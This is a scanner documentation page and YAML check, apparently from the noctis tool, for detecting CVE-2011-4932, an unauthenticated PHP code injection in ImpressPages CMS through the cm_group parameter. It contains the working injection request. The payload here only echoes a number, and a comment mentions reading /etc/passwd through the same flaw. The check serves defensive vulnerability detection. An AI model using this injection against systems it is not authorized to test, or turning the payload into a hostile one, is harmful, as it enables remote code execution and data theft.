ImpressPages — 1 vulnerability check
noctis ships 1 vulnerability check for ImpressPages, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ImpressPages CMS cm_group parameter PHP code injection
| CVE | CVE-2011-4932 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/impresspages/CVE-2011-4932.yaml |
ImpressPages CMS 1.0.12 and earlier versions before 1.0.13 evaluate the cm_group request parameter as PHP code, allowing unauthenticated remote code execution.
This check looks for the ImpressPages "Powered by" footer on the site root and under /impress, /impresspages, /imprescms and /cms, then requests the page with a cm_group value that closes the class name and adds an echo of the product of two random numbers drawn for each scan. The finding requires the response to contain that product, a value only the target's PHP can compute since the request carries the two factors, not the result. The injected code only prints a number; nothing is written on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/ - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/?cm_group=text_photos\title\Module();echo%20{{p.a}}*{{p.b}};echo&cm_name=noct… - Parses / computes the next value with a Rhai script
- Checks
p.markerfor^[0-9]{10,12}$→ finding QoD 97: ImpressPages CMS cm_group parameter PHP code injection (CVE-2011-4932)
References:
Feed source — tests/vulnerabilities/impresspages/CVE-2011-4932.yaml
# ImpressPages CMS 1.0.12 — cm_group eval injection — CVE-2011-4932
#
# ImpressPages 1.0.12 (and other versions before 1.0.13) evaluated the cm_group request
# parameter as PHP source, so a value of the form
# text_photos\title\Module();<php>;echo
# runs <php> in the web server's PHP and its output is part of the page. The proof here is
# `echo A*B;` with two random numbers: only the product, which is never sent, comes back.
# The request is sent with tcp_connect so the backslashes stay verbatim. The statement only
# prints a number; nothing is written on the server. Fixed in 1.0.13.
#
# Better than the reference check (reads /etc/passwd through the sink and matches the
# file name): the arithmetic proof cannot be matched by a page that merely reflects the
# query and works on Windows hosts too.
#
# Source: OpenVAS/Greenbone NASL 2012/gb_ImpressPages_49798.nasl (GPL-2.0-only) for the
# request shape; NVD scores CVE-2011-4932 only in CVSS v2 (7.5).
uid: f03fbbb7-dbcb-4bc4-8bce-9f9f7bc793b3
name: "ImpressPages CMS cm_group parameter PHP code injection (CVE-2011-4932)"
description: |
ImpressPages CMS 1.0.12 and earlier versions before 1.0.13 evaluate the cm_group
request parameter as PHP code, allowing unauthenticated remote code execution.
This check looks for the ImpressPages "Powered by" footer on the site root and under
/impress, /impresspages, /imprescms and /cms, then requests the page with a cm_group
value that closes the class name and adds an echo of the product of two random
numbers drawn for each scan. The finding requires the response to contain that
product, a value only the target's PHP can compute since the request carries the
two factors, not the result. The injected code only prints a number; nothing is
written on the server.
cves: [CVE-2011-4932]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [impresspages, cms, rce, code-injection, php, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2011-4932"
- "https://www.securityfocus.com/bid/49798"
# OpenVAS/Greenbone NASL 2012/gb_ImpressPages_49798.nasl (GPL-2.0-only)
steps:
- id: build
action: script
store_as: p
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ a: "" + a, b: "" + b, marker: "" + (a * b) }
- id: init-hit
action: set_var
var_name: hit
var_value: false
# Loop group: every following step runs once per install directory.
- id: init-land
action: set_var
var_name: land
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/impress", "/impresspages", "/imprescms", "/cms"]
- id: init-ex
action: set_var
var_name: ex
var_value: {connected: false, banner: ""}
- id: landing
action: http_request
method: GET
path: "{{dir}}/"
port: "{{port}}"
condition: "hit == false"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: land
- id: exploit
action: tcp_connect
port: "{{port}}"
condition: "hit == false && land.status == 200 && type_of(land.body) == \"string\" && ereg(\"Powered by.*ImpressPages\", land.body)"
send: "GET {{dir}}/?cm_group=text_photos\\title\\Module();echo%20{{p.a}}*{{p.b}};echo&cm_name=noctis HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: ex
- id: check
action: script
store_as: hit
code: |
hit || (ex.connected && type_of(ex.banner) == "string" && ereg("(^|[^0-9])" + p.marker + "([^0-9]|$)", ex.banner))
- id: report
action: match
source: p.marker
pattern: "^[0-9]{10,12}$"
condition: "hit == true"
on_match:
finding:
title: "ImpressPages CMS cm_group parameter PHP code injection (CVE-2011-4932)"
description: "The cm_group parameter is evaluated as PHP code: the response carried the product of two random numbers that the request only sent as factors, so the target's PHP ran the injected statement. An unauthenticated attacker can run any PHP code as the web server user."
remediation: "Upgrade ImpressPages CMS to 1.0.13 or later."
confidence_delta: 0.67
qod: 97
evidence: "GET {{dir}}/?cm_group=text_photos\\title\\Module();echo {{p.a}}*{{p.b}};echo returned the PHP-computed product {{p.marker}}"
stop: true